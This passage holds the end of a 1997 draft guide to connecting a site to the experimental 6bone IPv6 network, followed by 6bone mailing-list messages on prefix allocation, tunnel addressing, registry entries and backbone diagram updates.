hosts and routers.  In order to determine what best fits your needs, a
bit of research is in order.  You can get a good idea of what is
currently
available by checking the "Implementations" page under the IPng
homepage,
at URL http::/playground.sun.com/ipng/ipng-implementations.2.html, where
both host and router software is described, often with pointers to
further
information.  If you know in advance which systems you will be using for
IPv6 testing, you may wish to gather current version information, for
quick
cross-referencing against what is required.  It is also important to
note
just which capabilities you will require (e.g. DNS/BIND server, Basic
API
support), as this may help to focus your search.  The minimum set of
capabilities required by most 6BONE sites would be a router (i.e., the
ability to forward packets off-site to the 6BONE), a DNS/BIND server
capable of storing AAAA records and resolving your branch of the ip6.int
tree [although this service could potentially be provided by other
means,
e.g. by 6BONE transit site...could be clunky, but should this be in
minimum set? dth], and a host with ping, nslookup and traceroute
utilities.
[Again, this last set is arbitrarily defined by me...anybody feel like
arguing? dth].  Bear in mind that a single system is quite capable of
performing all these functions, although it may be more typical to
distribute this work among several machines.

Having determined what you plan to do, and what systems you plan to
do it with, the final and critical planning step remains; where will you
connect to the 6BONE?  Because the 6BONE is not a simple Internet
Service
Provider, but a loose agglomeration of interested parties, there is no
support center or NOC (Network Operations Center) to call for help.  It
is up to you to find someone already connected to the 6BONE who would be
willing to provide access to your site.  This is not as daunting a task
as it might seem at first, for the people and organizations which are
already connected to the 6BONE are there because they want to make it
work, and you will certainly find a willing partner.  The research you
should do in this area is to determine who is already connected, and
which of these sites are near yours.

	[Is the following useful?  It seems like we should make an
	 effort to be efficient when connecting...dth]

	Aside:  Note that use of the "near" above is deliberately
	ambiguous.  While it is highly desirable to utilize a contact
	located geographically close to your site, this may in fact
	not make the most sense from a topological point of view.  It is
	important to keep in mind that the 6BONE is overlayed upon the
	existing Internet infrastructure, largely using IPv4 tunnels
from
	site to site.  Thus, a single IPv6 router-to-router hop may
	require multiple IPv4 hops to complete.

	For example, two independent networks located just a few miles
	apart may utilize different ISPs, such that traffic between them
	may travel 15-20 hops on average.  On the other hand, two sites
	located in different states or countries may use the same ISP,
	and may thus traverse significantly fewer hops.  Given that
	your 6BONE contact site will be the first hop onto the 6BONE,
	it makes sense to reduce the overhead of connectivity as much
	as possible.  If you identify multiple potential 6BONE
	contacts, it would be a worthwhile exercise to spend some time
	running traceroute to determine how reachable they are from
	your network.

	[Is this a potential tool requirement for the 6BONE?  As the
	 6BONE gets larger its growing pains will reflect its lack of
	 relationship with the underlying IPv4 network.  Has the MBONE
	 gone through this stage already?  Do some of their documents
	 cover this ground?  Check it out...dth]

Some tools which can you can use to figure out where you might be able
to connect include the 6BONE map (at URL 
<http://www.6bone.net/6bone-drawing.html>), 
the ISI 6BONE registry (at URL <http://www.isi.edu/~davidk/6bone>),
and the 6BONE mailing list itself. 
[This last method is not the preferred mechanism, but it usually
does prove effective if all else fails.]
The information you are looking
for begins with a contact name, and should include both e-mail and
telephone addresses.  Make sure to inquire of a potential site which
style
of communication they prefer, and make a note of it...not everyone
enjoys
receiving telephone calls.  Should the potential site be located in
a different timezone or another country, make a note of this with your
contact information, so that you remember to call at the correct time.

Once a 6bone contact has been identified and has agreed to serve
as your transit or backbone service provider, you are ready to
develop your addressing plan.  While the initial stages of 6bone
deployment took place using RFC 1897
<URL ftp://ds.internic.net/rfc/rfc1897.txt>, this addressing
plan has been superseded for a couple of reasons.  First of all,
it used IPv4 addressing elements (including the Autonomous System
number) of a site to generate the IPv6 address.  Because the 6bone
uses the IPv4 network as a virtual network, and not as a strict
topology guide, the address prefixes defined in this manner did
not aggregate; that is, each site had a unique prefix, and routing
was done on an essentially flat space.  This type of plan is known
to not scale well.  Secondly, the IPng Working Group has made some
fundamental changes to the IPv6 Addressing Architecure 
<URL ftp://ds.internic.net/internet-drafts/
			draft-ietf-ipngwg-ipv6-arch-00.txt>,
which has resulted in a new unicast address assignment plan 
<URL ftp://ds.internic.net/internet-drafts/
			draft-ietf-ipngwg-unicast-aggr-00.txt>
and a new 6bone address allocation plan
<URL ftp://ds.internic.net/internet-drafts/
			draft-ietf-ipngwg-testv2-addralloc-00.txt.
While still in draft form, it is expected that these new schemes
will be deployed and tested as 1997 progresses.
 
[too much history there?  dth]

The basic scheme for 6bone addresses is that those sites providing
backbone connectivity are labeled with Top-Level Aggregators,
and are identified by a short <13-bit?> prefix.  Those sites, leaf
or transit, which connect to these TLA's receive a first level
Next-Level Aggregator identifier.  There is a tertiary level
which uses a third field known as the Site-Level Aggregator, 
which provides a field for subnet assignments.  Together these 
fields form a 64-bit route to a particular network/subnet.  The
other 64-bit value in an address is the interface identifier.
The IPv6 addresses in use on the 6bone would then have the
following format:

	0x3FFE<TLA><NLA><SLA><64-bit interface ID>

Please check the current Internet-Drafts in this area (as referenced
above) for further details.  In summary, your 6bone address will
be based on (and provided by) your 6bone connection point.  In the
event that you plan to be a 6bone core (or backbone) site, please
review the registry information at www.6bone.net [good punt, eh?].

[Further info here re. addressing plan...small site vs. large network,
flat routed vs. subnets, etc.]

At the same time that you develop your addressing plan it is suggested
that you should arrange for the delegation of your portion of the
ip6.int tree in the Domain Name System [RFC1034] 
<URL ftp://ds.internic.net/rfc/rfc1034.txt>, which is described
in RFC 1886.
 

	    * Get DNS delegation, create zone files (see current
		info under 6BONE page for current hints/tips)

Training
========

This can be as limited as you personally feel necessary in order to
begin deployment,  but may be more extensive if you include the
training you may provide to operators, users, customers and
programmers  within your network.  Some initial sources of information
include the following:

	www=> IPng page, IETF's working group I-D page, vendor sites
		and white papers
	    * Current IPv6 RFC's and Internet-Drafts
	    * Books on the subject
	    * Mbone sessions (IETF working groups, etc.) (???)
	    * mailing lists (6bone, personal, other)
	    * Magazine and journal articless
	    * seminars and presentations
	    * share what you learn!  Write up experiences, tips,
		present them to user's group or other forum, answer
		queries on mailing list, etc.

Deployment
==========

Actually doing something at last!  Put your plans into action...if
you've planned well, this should be smooth and relatively quick.

      - Gather systems, software, equipment as per planning
      - Do preliminary builds, installations.  Test internal
	connectivity, gain experience with tools, initialize
	DNS infrastructure.
      - Connect as planned...tie in zones to DNS...test tunnel
	or link as appropriate
      - Register in new RIPE style registry db at ISI
      - Announce yourself on 6BONE mailing list

References
==========


   [RFC1034] P. Mockapetris, "Domain names - concepts and facilities",
	RFC1034, 11/01/1987

   [RFC1886] S. Thomson, C. Huitema, "DNS Extensions to support IP 
	version 6", RFC 1886, December 1995.

   ...and many more...

From majordom@ISI.EDU  Mon Jun  9 01:16:03 1997
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Subject: Re: Looking for connection point
To: b82072@ccstudent.ee.ntu.edu.tw (Jeng-hung Tsai)
Date: Mon, 9 Jun 1997 08:16:03 -0700 (PDT)
Cc: 6bone@isi.edu
In-Reply-To: <3.0.2.32.19970608162841.006a623c@cctwin.ee.ntu.edu.tw> from "Jeng-hung Tsai" at Jun 8, 97 04:28:41 pm
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> 
> Hello,
>  
>       I am looking for a connecting point to 6bone.
> 

If you have not found one yet, I'd be happy to provide you with
an entry point.

IPv4 endpoint: 198.32.146.11
Protocol:      RIPng
IPv6 prefix:   5FBC:1000::0/32

-- 
--bill

From majordom@ISI.EDU  Tue Jun 10 17:50:06 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Tue, 10 Jun 1997 15:50:06 +0200
In-Reply-To: davidk@ISI.EDU
        "Re: new addressing plan" (Jun  9, 10:56am)
References: <9706091756.AA27913@brind.isi.edu>
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On Jun 9, 10:56am, davidk@ISI.EDU wrote:
> Subject: Re: new addressing plan
>
> I can start assigning prefixes anytime as long as people tell me how to
> do it. We have Bob's draft ideas but nobody really commented so far ...

I think the proposed algorithm is ok enough to start.

There is an assumption that we can not implement this addressing plan
till new application with 64 bit IDs are avalaible. I think we can still
assign prefixes before that time and see what is going on.
In the meantime, we 'just' have not to use the 16 extra id bits.

What we can do is to assign 8bits NLA1 to core site asking for a
core prefix. This is 255 core prefixes, more than enough.
Those sites will then assign longer prefixes to leaf sites and transit
sites.
How do we assign those numbers? well the +1 algorithm sounds reasonable to me.

I'm now ready to get a /24 prefix for G6.

	- Alain.


From majordom@ISI.EDU  Tue Jun 10 02:34:34 1997
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Date: Tue, 10 Jun 1997 09:34:34 -0700
Message-Id: <199706101634.JAA14680@trix.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: "Alain Durand" <Alain.Durand@imag.fr>
Cc: davidk@ISI.EDU, 6bone@ISI.EDU
Subject: Re: new addressing plan
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>>>>> "Alain" == Alain Durand <Alain.Durand@imag.fr> writes:

    Alain> On Jun 9, 10:56am, davidk@ISI.EDU wrote:
    >> Subject: Re: new addressing plan
    >> 
    >> I can start assigning prefixes anytime as long as people tell
    >> me how to do it. We have Bob's draft ideas but nobody really
    >> commented so far ...

    Alain> I think the proposed algorithm is ok enough to start.

Is this the general opinion ?

Personaly i believe our present aproach is superior since it does not
require any registry...

And simply swaping 010 with 001 and moving the reserved fields around will
give us the new address format from rfc 1897.

present format:

   | 3 |  5 bits  |  16 bits | 8 |   24 bits  | 8 | 16 bits|48 bits|
   +---+----------+----------+---+------------+---+--------+-------+
   |   |          |Autonomous|   |    IPv4    |   | Subnet | Intf. |
   |010|  11111   |  System  |RES|   Network  |RES|        |       |
   |   |          |  Number  |   |   Address  |   | Address|  ID   |
   +---+----------+----------+---+------------+---+--------+-------+

my proposal:

   | 3 |  5 bits  |  16 bits |   24 bits  | 16 bits| 64 bits   |
   +---+----------+----------+------------+--------+-----------+
   |   |          |Autonomous|    IPv4    | Subnet |           |
   |001|  11111   |  System  |   Network  |        |           |
   |   |          |  Number  |   Address  | Address|    EID    |
   +---+----------+----------+------------+--------+-----------+


  Pedro.

From majordom@ISI.EDU  Tue Jun 10 16:56:58 1997
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Date: Tue, 10 Jun 1997 17:56:58 -0100
From: Hamdi TOUNSI <hamdi.tounsi@ati.tn>
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Hello,
someone at isi gave me the prefix : 5fbc:1000::0/32
should this be the prefix of my local ipv6 adress too ?
another question.
Can someone explain me the following adresses :
- my ipv6 adress
- a link ipv6 adress (entry of tunnel)
- a link ipv6 adress (end of tunnel)
- the tunnel endpoint ipv6 adress

Peace

Hamdi

From majordom@ISI.EDU  Tue Jun 10 04:10:26 1997
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Date: Tue, 10 Jun 1997 11:10:26 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: Dimitry Haskin <dhaskin@baynetworks.com>
Cc: 6bone@ISI.EDU
Subject: Re: new addressing plan
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>>>>> "Dimitry" == Dimitry Haskin <dhaskin@BayNetworks.COM> writes:

    Dimitry> At 09:34 AM 6/10/97 -0700, Pedro Marques wrote:
    >>  Is this the general opinion ?
    >> 
    >> Personaly i believe our present aproach is superior since it
    >> does not require any registry...
    >> 
 
    Dimitry> It is not that we can't get away without registry at
    Dimitry> 6bone for some time.

To be more specific, we don't need, with an AS based scheme, to have
address delegation being made by a registry. A registry is useful and
the RIPE registry as been a great aid to everyone.

    Dimitry>   It is that we need to start testing
    Dimitry> addressing concepts to their full extend asap.

I see no advantage in having a registry assigned prefix and a prefix build
from a AS #... the addressing concept is exactly the same.

    Dimitry>  This includes registry operations and address delegation which
    Dimitry> are important components in overall scheme.

At the moment i believe that requiring address delegation will only make
things harder for people to get into the 6bone... things are hard enought
as it is for most people.

    Dimitry>   The fact
    Dimitry> that there is no operational v6 registry has become
    Dimitry> detrimental to the v6 deployment effort

I think it is a plus...

    Dimitry>  since it
    Dimitry> contributes to the perception that v6 lacks even basic
    Dimitry> deployment logistics.

A 6bone registry would not be able to delegate non testing allocation
addresses. Also i do believe that this is not a real technical problem
but incorrect perception by some people...

  Pedro.

From majordom@ISI.EDU  Tue Jun 10 03:56:14 1997
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Date: Tue, 10 Jun 1997 13:54:44 -0400
To: Pedro Marques <roque@cisco.com>
From: Dimitry Haskin <dhaskin@baynetworks.com>
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At 09:34 AM 6/10/97 -0700, Pedro Marques wrote:
>
>Is this the general opinion ?
>
>Personaly i believe our present aproach is superior since it does not
>require any registry...
>
 
It is not that we can't get away without registry at 6bone for some time.
It is that we need to start testing addressing concepts to their full
extend asap. This includes registry operations and address delegation which
are important components in overall scheme.  The fact that there is no
operational v6 registry has become detrimental to the v6 deployment effort
since it contributes to the perception that v6 lacks even basic deployment
logistics.

Dimitry

From majordom@ISI.EDU  Tue Jun 10 21:46:22 1997
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From: "Peter Curran" <pcurran@ticl.co.uk>
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Subject: Re: new addressing plan
Date: Tue, 10 Jun 1997 20:46:22 +0100
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> 
> Is this the general opinion ?
> 
> Personaly i believe our present aproach is superior since it does not
> require any registry...
>
I do not think this is GOOD.

The stated aim of the 6bone is to gain operational experience of v6
deployment.  That must include exploring the requirements of the registry
management, database objects, etc.  I appreciate that the small scale of
the 6bone cannot hope to emulate the size of the final Internet
requirement, but the principles we develop will be invaluable input into
the final registry management system.

I think that the work that is now underway in handling the new site
registry is going to be very useful on this basis and support the efforts
to get this off the ground.

Likewise, I think that we need to start exercising the new address format
in as real a form as we can manage for the same reasons.

My .2p

Cheers

Peter
TICL

 



From majordom@ISI.EDU  Tue Jun 10 06:52:46 1997
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Subject: Re: new addressing plan
To: roque@cisco.com (Pedro Marques)
Date: Tue, 10 Jun 1997 13:52:46 -0700 (PDT)
Cc: 6bone@isi.edu
In-Reply-To: <199706101634.JAA14680@trix.cisco.com> from "Pedro Marques" at Jun 10, 97 09:34:34 am
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Pedro,

Pedro Marques writes:
> 
> Personaly i believe our present aproach is superior since it does not
> require any registry...

I agree that using the AS in someway is a very attractive way to go. The
nice thing is that you don't need any human judgement whether you can get
a prefix or not. However, the real world is not as simple as that.

In the end the decision has to be made who gets and AS and who not, which
will become increasingly difficult because we are giving more value to
the concept of an 'AS' then it had in the past. Furthermore, it is
already very common that an AS gets split up in several IPv6 spaces to
accomodate customers of the provider and other people to join the 6bone.
Doing this means that we need a (local) registry of some kind and it
makes sense to provide such a service for everybody at once instead of
letting all people to run their own database (I guess that most people on
the 6bone can spend their time better). Furthermore, we are supposed to
test things like aggregration and using an AS based structure will brake
that from the beginning.

Note that assigning the prefixes should not become a difficult thing. I
don't see much reason why this could not be done in a highly automated
fashion since we are dealing with temporary test addresses which are not
very attractive to hoard. We might even be able to use the registry for
renumbering purposes as a kind of global DCHP route slot server ...

David K.
---

From majordom@ISI.EDU  Tue Jun 10 11:59:21 1997
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From: Matt Crawford <crawdad@fnal.gov>
Subject: Re: new addressing plan
In-Reply-To: "10 Jun 1997 09:34:34 PDT."
 <"199706101634.JAA14680"@trix.cisco.com>
To: Pedro Marques <roque@cisco.com>
Cc: Alain Durand <Alain.Durand@imag.fr>, davidk@ISI.EDU, 6bone@ISI.EDU
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> And simply swaping 010 with 001 and moving the reserved fields around will
> give us the new address format from rfc 1897.
> 
> my proposal:
> 
>    | 3 |  5 bits  |  16 bits |   24 bits  | 16 bits| 64 bits   |
>    +---+----------+----------+------------+--------+-----------+
>    |   |          |Autonomous|    IPv4    | Subnet |           |
>    |001|  11111   |  System  |   Network  |        |           |
>    |   |          |  Number  |   Address  | Address|    EID    |
>    +---+----------+----------+------------+--------+-----------+

This isn't consistent with draft-ietf-ipngwg-unicast-aggr-00.txt.
Did you mean it to be?  The above format would put people randomly
into the same TLA if the first 8 bits of their provider's ASN
matched.

From majordom@ISI.EDU  Tue Jun 10 08:22:09 1997
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Date: Tue, 10 Jun 1997 15:22:09 -0700 (PDT)
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From: Pedro Marques <roque@cisco.com>
To: Matt Crawford <crawdad@fnal.gov>
Cc: 6bone@ISI.EDU
Subject: Re: new addressing plan
In-Reply-To: <199706102159.QAA15225@gungnir.fnal.gov>
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	<199706102159.QAA15225@gungnir.fnal.gov>
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>>>>> "Matt" == Matt Crawford <crawdad@FNAL.GOV> writes:

    >> And simply swaping 010 with 001 and moving the reserved fields
    >> around will give us the new address format from rfc 1897.
    >> 
    >> my proposal:
    >> 
    >>    | 3 |  5 bits  |  16 bits |   24 bits  | 16 bits| 64 bits   |
    >>    +---+----------+----------+------------+--------+-----------+
    >>    |   |          |Autonomous|    IPv4    | Subnet |           |
    >>    |001|  11111   |  System  |   Network  |        |           |
    >>    |   |          |  Number  |   Address  | Address|    EID    |
    >>    +---+----------+----------+------------+--------+-----------+
    Matt> This isn't consistent with
    Matt> draft-ietf-ipngwg-unicast-aggr-00.txt.

That depends if you consider that the bit where a boundary lies is
significant. I believe the above is pretty much consistent with the
idea of agregation by provider or large struture.

But it was just a straw-man proposal... feel free to move the bits around.

But anyway from the sample on the mailing list it seams people prefer a
registry delegation based scheme to an automatic one...

  Pedro.

From majordom@ISI.EDU  Tue Jun 10 15:24:07 1997
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From: "Conta, Alex" <AConta@lucent.com>
To: 6bone@ISI.EDU
Subject: RE: ipv6 Prefix and local adress
Date: Tue, 10 Jun 1997 19:24:07 -0400
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> Hello,
> someone at isi gave me the prefix : 5fbc:1000::0/32
> should this be the prefix of my local ipv6 adress too ?
> 
No the prefix of your link local address is a predefined hardcoded
value:

	FFFE:8000::0/18
 
This looks like a global prefix so this should be used to build your
interface's global IPv6 
address - append the MAC address to it, for instance for a 
	0a:0b:0c:0d:0e:0f 
MAC address the resulting IPv6 address would be:
	5fbc:1000::0a:0b:0c:0d:0e:0f
	
> another question.
> Can someone explain me the following adresses :
> - my ipv6 adress
> 
See above

> - a link ipv6 adress (entry of tunnel) 
> - a link ipv6 adress (end of tunnel)
> - the tunnel endpoint ipv6 adress
> 
A tunnel interface is a pseudo interface that has as parameters a pair
of IPv6 addresses
(corresponding to the tunnel entry point node and tunnel exit point
node). The pseudo-interface
is layered on the top of a real interface. 

A tunnel's entry point IPv6 address is one of the underlying interface's
IPv6 addresses.
This is the address that will be filled as IPv6 source address in the
tunnel header.

A tunnel's exit point address is remote node IPv6 address. It is filled
in as destination IPv6 address in the tunnel IPv6 address. On transmit
the tunnel packets are send to the
tunnel exit point node address, and thus forwarded to the next hop
router that would route the
packet to its destination.

I hope this helps,
Alex

 




> Peace
> 
> Hamdi
> 
---------------------------------------------
Alex Conta     aconta@lucent.com     Tel: 508/287-9000/ext 2842    Fax:
508/287-2810 
Lucent Technologies, Inc.   300 Baker Ave., Concord, MA 01742



From majordom@ISI.EDU  Wed Jun 11 18:04:35 1997
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From: "Alain Durand" <Alain.Durand@imag.fr>
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Date: Wed, 11 Jun 1997 16:04:35 +0200
In-Reply-To: Pedro Marques <roque@cisco.com>
        "Re: new addressing plan" (Jun 10,  3:22pm)
References: <"199706101634.JAA14680"@trix.cisco.com> 
	<199706102159.QAA15225@gungnir.fnal.gov> 
	<199706102222.PAA28016@pedrom-ultra.cisco.com>
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Subject: Re: new addressing plan
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On Jun 10,  3:22pm, Pedro Marques wrote:
> Subject: Re: new addressing plan
> But anyway from the sample on the mailing list it seams people prefer a
> registry delegation based scheme to an automatic one...

Pedro,

automatic allocation was fine when we started the 6-bone. At the time, there
was only a small registry, the RIPE databased. This automatic allocation
allowed everybody to start quickly a small IPv6 tesbed and then try to
connect to the 6-bone.

Now, it's a different game. The 6-bone is there, we have a registry.
One of the goal of the 6-bone (as a group) is to simulate IPv6 providers
to test the new addressing plan. I'd rather like to see the registry allocating
new prefixes to core nodes and those sites re-allocating longer prefixes to
transit & leaf nodes
We could then test site renumbering, provider renumbering, aggregation, etc...

To do that, there is no need to use AS nubers nor IPv4 numbers to build
v6 addreses. I think we can rely on our registry and some sub-registries
to do the work.

	- Alain.

From majordom@ISI.EDU  Wed Jun 11 03:20:47 1997
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From: "Harsch, Tom" <Thomas.Harsch@unisys.com>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>, "'Conta, Alex'" <AConta@lucent.com>
Subject: RE: ipv6 Prefix and local adress
Date: Wed, 11 Jun 1997 09:20:47 -0600
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Alex,
>
>No the prefix of your link local address is a predefined hardcoded
>value:
>
>	FFFE:8000::0/18
       ^^^^^^^^^^^^^^^
Is this correct?  RFC-1844 and <draft-ietf-ipngwg-addr-arch-v2-00.txt>
indicate "FE80::0/10".

-- Tom Harsch                                 Unisys, Salt Lake City, UT
mailto:Thomas.Harsch@UNISYS.com
mailto:tcharsch@acm.org

>
>
>

From majordom@ISI.EDU  Wed Jun 11 09:19:27 1997
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From: "Conta, Alex" <AConta@lucent.com>
To: 6bone@ISI.EDU
Subject: RE: ipv6 Prefix and local adress
Date: Wed, 11 Jun 1997 13:19:27 -0400
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Dan Harrington pointed out to me (thanks Dan) a mistake (sorry) in the
information I sent out last night on this list. 

The correct information is:

	The prefix of your link local address is a predefined hardcoded
> value:
> 
> 	FE80::/64
> 
Thanks,
Alex

---------------------------------------------
Alex Conta     aconta@lucent.com     Tel: 508/287-9000/ext 2842    Fax:
508/287-2810 
Lucent Technologies, Inc.   300 Baker Ave., Concord, MA 01742

> ----------
> From: 	Conta, Alex
> Sent: 	Tuesday, June 10, 1997 7:24 PM
> To: 	6bone@ISI.EDU
> Subject: 	RE: ipv6 Prefix and local adress
> 
> 
> > Hello,
> > someone at isi gave me the prefix : 5fbc:1000::0/32
> > should this be the prefix of my local ipv6 adress too ?
> > 
> No the prefix of your link local address is a predefined hardcoded
> value:
> 
> 	FFFE:8000::0/18
> 

From majordom@ISI.EDU  Wed Jun 11 07:44:26 1997
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From: "Harsch, Tom" <Thomas.Harsch@unisys.com>
To: "'6bone@ISI.EDU'" <6bone@ISI.EDU>, "'Conta, Alex'" <AConta@lucent.com>
Subject: RE: ipv6 Prefix and local adress
Date: Wed, 11 Jun 1997 13:44:26 -0600
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Alex,
>
>Alex,
>>
>>No the prefix of your link local address is a predefined hardcoded
>>value:
>>
>>	FFFE:8000::0/18
>       ^^^^^^^^^^^^^^^
>Is this correct?  RFC-1844 and <draft-ietf-ipngwg-addr-arch-v2-00.txt>

Oops! I meant RFC-1884.

>indicate "FE80::0/10".

-- Tom Harsch                                 Unisys, Salt Lake City, UT
mailto:Thomas.Harsch@UNISYS.com
mailto:tcharsch@acm.org

>

From majordom@ISI.EDU  Wed Jun 11 17:09:48 1997
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From: Dave Kormann <davek@research.att.com>
To: 6bone@isi.edu
Subject: RIPE ftp group password?
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so, i've consed up a RIPE entry for my site, and i'd like to drop it
in the registry; the web pages mention a group password, and that the
password should be obtained from the mailing list.  i guess this is a
request for that, then; anyone who could give me pointers would help.
thanks!

oh, here, fwiw, is the RIPE entry.  is this sane?  i didn't include a
location-string 'cause i haven't got a GPS handy :)

site:           AT&T Labs - Research Weblab
location:       AT&T Labs - Research, Florham Park, NJ
prefix:         5f00:100:cf8c:a800:a8::/80
ping:		5f00:100:cf8c:a800:a8:800:2080:f296
tunnel		207.140.168.50 132.177.118.22	UNH (RIPng)
contact:        weblab@research.att.com
status:         operational since 04-Jun-1997
remark:		We're still pretty flaky at the moment, but willing
remark:		to supply tunnels to people who want to risk it.
remark:		Planning to run an HTTPD at some time in the near future.
remark:         End system: Sun Ultra Enterprise 150, Solaris 2.5.1
changed:        davek@research.att.com 970611
source:         RIPE

			Dave Kormann
			AT&T Labs Dash Research

From majordom@ISI.EDU  Thu Jun 12 03:36:17 1997
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Subject: Re: RIPE ftp group password?
To: davek@research.att.com (Dave Kormann)
Date: Thu, 12 Jun 1997 10:36:17 -0700 (PDT)
Cc: 6bone@isi.edu
In-Reply-To: <199706120109.VAA26657@radish.research.att.com> from "Dave Kormann" at Jun 11, 97 09:09:48 pm
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Dave,

Dave Kormann writes:
> 
> so, i've consed up a RIPE entry for my site, and i'd like to drop it
> in the registry; the web pages mention a group password, and that the
> password should be obtained from the mailing list.  i guess this is a
> request for that, then; anyone who could give me pointers would help.
> thanks!

We recently changed to a new registry format as described on the bottom
of the 6bone web page. The web page is not updated yet due to a vacation
of the maintainer. Please check out the 'possible new registry links' at
the bottom of the home page. Let me know in a private mail if you want me
to convert your entry as shown below to the new format to save you some
work. Don't hesitate to send me a mail if you have more questions,

> oh, here, fwiw, is the RIPE entry.  is this sane?  i didn't include a
> location-string 'cause i haven't got a GPS handy :)

This is fine. It's optional although it would be nice if you knew the
location or could approximate it using a map.

David K.
---

> site:           AT&T Labs - Research Weblab
> location:       AT&T Labs - Research, Florham Park, NJ
> prefix:         5f00:100:cf8c:a800:a8::/80
> ping:		5f00:100:cf8c:a800:a8:800:2080:f296
> tunnel		207.140.168.50 132.177.118.22	UNH (RIPng)
> contact:        weblab@research.att.com
> status:         operational since 04-Jun-1997
> remark:		We're still pretty flaky at the moment, but willing
> remark:		to supply tunnels to people who want to risk it.
> remark:		Planning to run an HTTPD at some time in the near future.
> remark:         End system: Sun Ultra Enterprise 150, Solaris 2.5.1
> changed:        davek@research.att.com 970611
> source:         RIPE
> 
> 			Dave Kormann
> 			AT&T Labs Dash Research
> 

David K.
---

From majordom@ISI.EDU  Fri Jun 13 07:12:43 1997
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Subject: Re: ipv6 Prefix and local adress
To: hamdi.tounsi@ati.tn (Hamdi TOUNSI)
Date: Fri, 13 Jun 1997 14:12:43 -0700 (PDT)
Cc: 6bone@isi.edu
In-Reply-To: <339DA37A.BBF@ati.tn> from "Hamdi TOUNSI" at Jun 10, 97 05:56:58 pm
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> 
> Hello,
> someone at isi gave me the prefix : 5fbc:1000::0/32
> should this be the prefix of my local ipv6 adress too ?
> another question.
> Can someone explain me the following adresses :
> - my ipv6 adress
> - a link ipv6 adress (entry of tunnel)
> - a link ipv6 adress (end of tunnel)
> - the tunnel endpoint ipv6 adress
> 
> Peace
> 
> Hamdi

Er, no. That is my prefix.  Your prefix should be created using the methods
specified in the rfcs. The tunnel endpoints are calculated based on the
prefix in use.

-- 
--bill

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Date: Fri, 13 Jun 1997 19:39:17 -0700 (PDT)
Message-Id: <199706140239.TAA29792@pedrom-ultra.cisco.com>
From: Pedro Marques <roque@cisco.com>
To: bmanning@ISI.EDU
Cc: hamdi.tounsi@ati.tn (Hamdi TOUNSI), 6bone@ISI.EDU
Subject: Re: ipv6 Prefix and local adress
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>>>>> "Bill" == bmanning  <bmanning@ISI.EDU> writes:

    >>  Hello, someone at isi gave me the prefix : 5fbc:1000::0/32
    >> should this be the prefix of my local ipv6 adress too ?
    >> another question.  Can someone explain me the following
    >> adresses : - my ipv6 adress - a link ipv6 adress (entry of
    >> tunnel) - a link ipv6 adress (end of tunnel) - the tunnel
    >> endpoint ipv6 adress
    >> 
    >> Peace
    >> 
    >> Hamdi

    Bill> Er, no. That is my prefix.  Your prefix should be created
    Bill> using the methods specified in the rfcs. The tunnel
    Bill> endpoints are calculated based on the prefix in use.

Bill, you could delegate him a /64 out of your /32...
If he is going to connect to you there is no reason why he should use
it own prefix, i believe. 

  Pedro.

From majordom@ISI.EDU  Mon Jun 16 00:26:50 1997
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From: bmanning@ISI.EDU (Bill Manning)
Message-Id: <199706161426.AA19495@zephyr.isi.edu>
Subject: Re: ipv6 Prefix and local adress
To: roque@cisco.com (Pedro Marques)
Date: Mon, 16 Jun 1997 07:26:50 -0700 (PDT)
Cc: bmanning@ISI.EDU, hamdi.tounsi@ati.tn, 6bone@ISI.EDU
In-Reply-To: <199706140239.TAA29792@pedrom-ultra.cisco.com> from "Pedro Marques" at Jun 13, 97 07:39:17 pm
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> 
> >>>>> "Bill" == bmanning  <bmanning@ISI.EDU> writes:
> 
>     >>  Hello, someone at isi gave me the prefix : 5fbc:1000::0/32
>     >> should this be the prefix of my local ipv6 adress too ?
>     >> another question.  Can someone explain me the following
>     >> adresses : - my ipv6 adress - a link ipv6 adress (entry of
>     >> tunnel) - a link ipv6 adress (end of tunnel) - the tunnel
>     >> endpoint ipv6 adress
>     >> 
>     >> Peace
>     >> 
>     >> Hamdi
> 
>     Bill> Er, no. That is my prefix.  Your prefix should be created
>     Bill> using the methods specified in the rfcs. The tunnel
>     Bill> endpoints are calculated based on the prefix in use.
> 
> Bill, you could delegate him a /64 out of your /32...
> If he is going to connect to you there is no reason why he should use
> it own prefix, i believe. 
> 
>   Pedro.

True, although the current model for address allocation is not aggregatable
outside the AS.  And since he is not within my AS and we are not yet ready to 
transition to the proposed alternate format, I am not willing to carve out
a chunk of space for him from my block(s).  This is more for the upstream
reporting than anything else.  And there is every likleyhood that he will
connect elsewhere (punching a hole in the block).



-- 
--bill

From majordom@ISI.EDU  Wed Jun 25 11:11:33 1997
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Date: Wed, 25 Jun 1997 18:11:33 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: 6bone diagrams and ISI RR pointer changes
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Hi!

I'm back, fully rested, from three weeks of vacation in glorious Italy!


Many thanks to David Kessens for converting over to the new RIPE-style RR db.

I have changed the RR data hot buttons for the two 6bone diagams to use the
new database.  Please let me know if there is a problem with anything.


Thanks,

Bob



From majordom@ISI.EDU  Wed Jul  2 01:44:18 1997
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Date: Wed, 2 Jul 1997 08:44:18 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone backbone links diagram - version 21
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new 6bone backbone links diagram - version 21

	http://www.6bone.net/6bone-bblinks.html

	remove SURFNET tunnels to BAY, CISCO and DIGITAL-CA

	change UUNET/UK tunnels from RIPng to BGP4+ for TELEBIT and G6

Two things to note here:

1.  The TELEBIT to UUNET BGP4+ peering is the first Cisco to non-Cisco
BGP4+ peering that's been done on the 6bone (please correct me if this is
wrong).

2.  SURFNET cutting back extra links in the backbone mesh is a trend we
should all follow to minimize links we don't need in a backbone.  The
purpose is NOT to fully conenct the backbone, rather to provide the links
that are appropriate (don't ask me to define that one :-).


Thanks,

Bob



From majordom@ISI.EDU  Wed Jul  2 01:39:56 1997
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Date: Wed, 2 Jul 1997 08:39:56 -0700
To: 6bone@isi.edu (6BONE Mailer)
From: Bob Fink <RLFink@lbl.gov>
Subject: new 6bone diagram - version 78
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new 6bone diagram - version 78

	http://www.6bone.net/6bone-drawing.html

	add JANET/UK to UUNET/UK

	add TELEDANMARK/DK to TELEBIT/DK

	add REDIRIS/ES (as transit) to SURFNET/NL

	add REDIRI-HQ/ES to REDIRIS/ES

	add IBBNET/NL to SURFNET/NL


Welcome to the new sites.

JANET is well known as a UK academic Internet.

